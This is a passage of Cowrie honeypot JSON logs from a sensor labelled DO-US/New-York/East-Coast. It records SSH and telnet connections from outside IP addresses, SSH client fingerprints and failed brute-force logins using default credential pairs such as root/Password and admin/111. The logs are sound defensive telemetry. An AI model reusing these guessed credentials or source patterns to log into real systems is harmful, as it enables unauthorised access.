ha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:54.788902Z","src_ip":"176.65.132.254","session":"d50a9e372043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:55.053759Z","src_ip":"176.65.132.254","session":"d50a9e372043","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53050,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1534100b205","protocol":"telnet","message":"New connection: 134.209.8.29:53050 (159.203.135.109:23) [session: f1534100b205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:55.171948Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:56.142092Z","src_ip":"176.65.132.254","session":"d50a9e372043","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52342,"dst_ip":"10.17.0.5","dst_port":23,"session":"813ffa9105df","protocol":"telnet","message":"New connection: 62.210.97.77:52342 (10.17.0.5:23) [session: 813ffa9105df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:56.616997Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53060,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee2f008bf3d9","protocol":"telnet","message":"New connection: 134.209.8.29:53060 (159.203.135.109:23) [session: ee2f008bf3d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:57.559626Z"}
{"eventid":"cowrie.session.closed","duration":34.957345962524414,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:58.573048Z","src_ip":"62.210.97.77","session":"6de723127a31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.782161235809326,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:58.680649Z","src_ip":"62.210.97.77","session":"4adbbd4b3248","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33612,"dst_ip":"10.17.0.5","dst_port":22,"session":"3116cc513eed","protocol":"ssh","message":"New connection: 176.65.132.254:33612 (10.17.0.5:22) [session: 3116cc513eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:58.898051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:58.903121Z","src_ip":"176.65.132.254","session":"3116cc513eed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:58.984926Z","src_ip":"176.65.132.254","session":"3116cc513eed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dj","password":"dj","message":"login attempt [dj/dj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:59.242550Z","src_ip":"176.65.132.254","session":"3116cc513eed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.790751934051514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:59.280554Z","src_ip":"62.210.97.77","session":"865cc751ed89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.70502805709839,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:59.963224Z","src_ip":"62.210.97.77","session":"54a13d42e8ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.03842043876648,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:00.334172Z","src_ip":"62.210.97.77","session":"4caefb4c6f7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:00.340621Z","src_ip":"176.65.132.254","session":"3116cc513eed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60090,"dst_ip":"10.17.0.5","dst_port":23,"session":"060af004259f","protocol":"telnet","message":"New connection: 62.210.97.77:60090 (10.17.0.5:23) [session: 060af004259f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:00.662016Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53068,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d094838bb0d","protocol":"telnet","message":"New connection: 134.209.8.29:53068 (159.203.135.109:23) [session: 5d094838bb0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:01.123765Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":46614,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fc90f2918d4","protocol":"ssh","message":"New connection: 176.65.132.254:46614 (10.17.0.5:22) [session: 6fc90f2918d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:02.821593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:02.827906Z","src_ip":"176.65.132.254","session":"6fc90f2918d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:02.910596Z","src_ip":"176.65.132.254","session":"6fc90f2918d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:03.160216Z","src_ip":"176.65.132.254","session":"6fc90f2918d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60106,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b4c4b3abebb","protocol":"telnet","message":"New connection: 62.210.97.77:60106 (10.17.0.5:23) [session: 9b4c4b3abebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:04.038360Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:04.244333Z","src_ip":"176.65.132.254","session":"6fc90f2918d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.36421990394592,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:05.136731Z","src_ip":"62.210.97.77","session":"f8f1a601e692","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60120,"dst_ip":"10.17.0.5","dst_port":23,"session":"b004906e4e60","protocol":"telnet","message":"New connection: 62.210.97.77:60120 (10.17.0.5:23) [session: b004906e4e60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:06.277784Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":46620,"dst_ip":"10.17.0.5","dst_port":22,"session":"291838bc2925","protocol":"ssh","message":"New connection: 176.65.132.254:46620 (10.17.0.5:22) [session: 291838bc2925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:06.952024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:06.957223Z","src_ip":"176.65.132.254","session":"291838bc2925","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:07.043422Z","src_ip":"176.65.132.254","session":"291838bc2925","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:07.335737Z","src_ip":"176.65.132.254","session":"291838bc2925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:08.553173Z","src_ip":"176.65.132.254","session":"291838bc2925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.55176091194153,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:08.793294Z","src_ip":"62.210.97.77","session":"01d86b7964b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58134,"dst_ip":"10.17.0.5","dst_port":23,"session":"092e2dbd31c6","protocol":"telnet","message":"New connection: 38.54.119.93:58134 (10.17.0.5:23) [session: 092e2dbd31c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:09.256976Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":43794,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad1274024985","protocol":"telnet","message":"New connection: 134.209.8.29:43794 (159.203.135.109:23) [session: ad1274024985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:10.295877Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":46630,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f7beecbbf4e","protocol":"ssh","message":"New connection: 176.65.132.254:46630 (10.17.0.5:22) [session: 2f7beecbbf4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:10.835449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:10.877763Z","src_ip":"176.65.132.254","session":"2f7beecbbf4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:11.092589Z","src_ip":"176.65.132.254","session":"2f7beecbbf4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu-server","password":"123456","message":"login attempt [ubuntu-server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:11.353211Z","src_ip":"176.65.132.254","session":"2f7beecbbf4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:12.442891Z","src_ip":"176.65.132.254","session":"2f7beecbbf4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":48422,"dst_ip":"159.203.135.109","dst_port":22,"session":"dff4589ea38e","protocol":"ssh","message":"New connection: 152.32.189.59:48422 (159.203.135.109:22) [session: dff4589ea38e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:12.879456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:12.895478Z","src_ip":"152.32.189.59","session":"dff4589ea38e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60482,"dst_ip":"10.17.0.5","dst_port":23,"session":"4733d8089b26","protocol":"telnet","message":"New connection: 62.210.97.77:60482 (10.17.0.5:23) [session: 4733d8089b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:12.991828Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:13.173277Z","src_ip":"152.32.189.59","session":"dff4589ea38e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.36154699325562,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:13.861526Z","src_ip":"134.209.8.29","session":"7fd3cbeb0487","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"letmein","message":"login attempt [user/letmein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:14.033577Z","src_ip":"152.32.189.59","session":"dff4589ea38e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55292,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c21c6d88e89","protocol":"ssh","message":"New connection: 176.65.132.254:55292 (10.17.0.5:22) [session: 9c21c6d88e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:14.882420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:14.888332Z","src_ip":"176.65.132.254","session":"9c21c6d88e89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:14.972057Z","src_ip":"176.65.132.254","session":"9c21c6d88e89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:15.248514Z","src_ip":"176.65.132.254","session":"9c21c6d88e89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:15.256408Z","src_ip":"152.32.189.59","session":"dff4589ea38e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:16.635520Z","src_ip":"176.65.132.254","session":"9c21c6d88e89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60490,"dst_ip":"10.17.0.5","dst_port":23,"session":"47130cd2a21d","protocol":"telnet","message":"New connection: 62.210.97.77:60490 (10.17.0.5:23) [session: 47130cd2a21d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:16.768276Z"}
{"eventid":"cowrie.session.closed","duration":31.792341470718384,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:16.944854Z","src_ip":"62.210.97.77","session":"914adb9efc7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00141835212708,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:17.233207Z","src_ip":"134.209.8.29","session":"81e400f7c61e","protocol":"telnet"}
